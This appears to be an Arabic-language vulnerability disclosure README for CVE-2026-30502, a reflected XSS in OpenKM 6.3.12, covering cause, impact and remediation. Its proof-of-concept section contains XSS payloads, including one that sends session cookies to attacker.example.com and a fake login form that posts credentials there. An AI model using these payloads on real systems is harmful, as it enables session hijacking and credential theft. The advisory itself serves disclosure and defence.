
وثائق وإثبات المفهوم لـ CVE-2026-30502، وهي ثغرة XSS منعكسة في OpenKM v6.3.12. تتضمن تحليلًا تقنيًا، السبب الجذري، تقييم التأثير، وإرشادات المعالجة للباحثين في الأمن ومختبرَي الاختراق.
تم اكتشافه وإبلاغه بواسطة Dharmendra Kumar — باحث أمني
الأمن السيبراني | اختبار الاختراق | أبحاث الثغرات | الإفصاح المسؤول
يوثق هذا المستودع الإفصاح المسؤول عن CVE-2026-30502، وهي ثغرة Cross-Site Scripting (XSS) منعكس تم تحديدها في OpenKM الإصدار 6.3.12 — وهو نظام إدارة مستندات مفتوح المصدر يستخدم على نطاق واسع في بيئات المؤسسات والحكومات.
توجد الثغرة في معامل Content، الذي يعكس إدخال المستخدم مرة أخرى إلى المتصفح دون تنقية أو ترميز مناسب. يمكن للمهاجم صياغة رابط ضار يحتوي على نصوص JavaScript مضمنة وخداع الضحية للنقر عليه، مما يؤدي إلى تنفيذ البرنامج النصي داخل جلسة المتصفح الخاصة بالضحية.
⚠️ الخطورة: متوسط–مرتفع | متجه الهجوم: شبكة | الامتيازات المطلوبة: لا شيء | تفاعل المستخدم: مطلوب
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-30502 |
| المنتج | OpenKM |
| الإصدار المتأثر | v6.3.12 |
| فئة الثغرة | Cross-Site Scripting (XSS) منعكس |
| المعامل الضعيف | Content |
| CWE | CWE-79: تحييد غير صحيح للإدخال أثناء إنشاء صفحة الويب |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| الخطورة | متوسط–مرتفع |
| الناشر | برنامج CVE لـ MITRE |
| الباحث | Dharmendra Kumar |
| نوع الإفصاح | مسؤول / منسق |
OpenKM هو نظام إدارة مستندات مفتوح المصدر ومجاني يوفر واجهة ويب لإدارة وتدقيق وتوزيع مستندات الأعمال. يُستخدم من قبل المؤسسات والهيئات الحكومية والمؤسسات التعليمية في جميع أنحاء العالم.
v6.3.12تم تحديد ثغرة Cross-Site Scripting (XSS) منعكس في OpenKM الإصدار 6.3.12 عبر معامل Content. يفشل التطبيق في التحقق من صحة أو ترميز الإدخال الذي يقدمه المستخدم قبل عكسه في نص استجابة HTTP، مما يسمح بحقن نصوص JavaScript تعسفية وتنفيذها في متصفح الضحية.
على عكس XSS المخزن، لا يتم تخزين حمولة XSS المنعكس في قاعدة البيانات — بل تحمل داخل رابط مصمم. يعتمد الهجوم على خداع الضحية للنقر على رابط ضار (يتم تسليمه عبر البريد الإلكتروني أو وسائل التواصل الاجتماعي أو حملات التصيد)، وبعدها يتم تنفيذ الحمولة بصمت في المتصفح بسياق جلسة الضحية.
مهاجم يصمم رابطًا ضارًا
│
▼
ضحية تنقر على الرابط (تصيد / هندسة اجتماعية)
│
▼
المتصفح يرسل طلب GET/POST مع الحمولة في معامل `Content`
│
▼
OpenKM يعكس الإدخال غير المنقى مباشرة في استجابة HTML
│
▼
المتصفح يوزع وينفذ JavaScript المحقون
│
▼
اختطاف الجلسة / سرقة بيانات الاعتماد / اختراق الحساب
تنتج الثغرة عن فشل التطبيق في فرض ضوابط أمان الإدخال والإخراج على معامل Content:
| الضعف | الوصف |
|---|---|
| ❌ لا يوجد التحقق من صحة الإدخال | يقبل معامل Content أحرف HTML/JavaScript الخام دون قيود أو تصفية |
| ❌ لا يوجد ترميز للمخرجات | تُكتب القيم المنعكسة في استجابة HTML دون ترميز كيانات HTML |
| ❌ عدم وجود رأس CSP | لا يتم فرض سياسة أمان المحتوى لمنع تنفيذ البرامج النصية المضمنة |
| ❌ عدم وجود كعكات HTTPOnly | رموز الجلسة يمكن الوصول إليها عبر JavaScript، مما يسمح بسرقة الكعكات مباشرة |
رابط من صنع المستخدم ──► معامل Content ──► [لا تحقق]
──► منعكسة في استجابة HTML ──► [لا ترميز]
──► المتصفح ينفذ البرنامج النصي ──► اختراق الحساب
يمكن أن يؤدي استغلال هذه الثغرة بنجاح إلى:
| المخاطرة | الوصف |
|---|---|
| 🍪 اختطاف الجلسة | سرقة رموز الجلسة النشطة عبر document.cookie لانتحال شخصية الضحية |
| 🔑 حصاد بيانات الاعتماد | حقن طبقات تسجيل دخول مزيفة لالتقاط أسماء المستخدمين وكلمات المرور النصية |
| 📤 الكشف عن المعلومات | تسريب محتوى المستندات الحساسة أو بيانات المستخدم أو التكوينات الداخلية |
| 🎣 هجمات التصيد | تقديم صفحات مزيفة مقنعة مستضافة داخل نطاق OpenKM الموثوق |
| 👤 الاستيلاء على الحساب | تنفيذ إجراءات مصادقة تعسفية نيابة عن الضحية |
| ⚙️ إجراءات غير مصرح بها | تعديل أو حذف أو تسريب المستندات داخل نظام DMS |
| 🖥️ توزيع البرامج الضارة | توجيه الضحايا إلى مواقع يتحكم فيها المهاجم تستضيف تنزيلات ضارة |
⚠️ إخلاء مسؤولية: المعلومات التالية مشتركة بدقة للأغراض التعليمية وبحث الأمن السيبراني وفقًا لمبادئ الإفصاح المسؤول. لا تختبر أو تستخدم هذا ضد أنظمة لا تملكها أو لديك إذن كتابي صريح بتقييمها.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
ContentContent| التوصية | التنفيذ |
|---|---|
| ✅ التحقق من صحة الإدخال | رفض أو تجريد أحرف HTML الخاصة (<, >, ", ', ;) من جميع المعاملات التي يتحكم فيها المستخدم |
| ✅ ترميز المخرجات | تطبيق ترميز HTML مدرك للسياق باستخدام مكتبات مثل OWASP Java Encoder قبل عرض البيانات المنعكسة |
| ✅ سياسة أمان المحتوى | نشر رأس CSP صارم: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ كعكات HTTPOnly | تعيين علامات HttpOnly و Secure على جميع كعكات الجلسة لمنع الوصول عبر JavaScript |
| ✅ مكتبات الأمان | دمج OWASP AntiSamy أو DOMPurify لتنقية قوية |
| ✅ الترقية | تطبيق أحدث تصحيح أمني من البائع فورًا |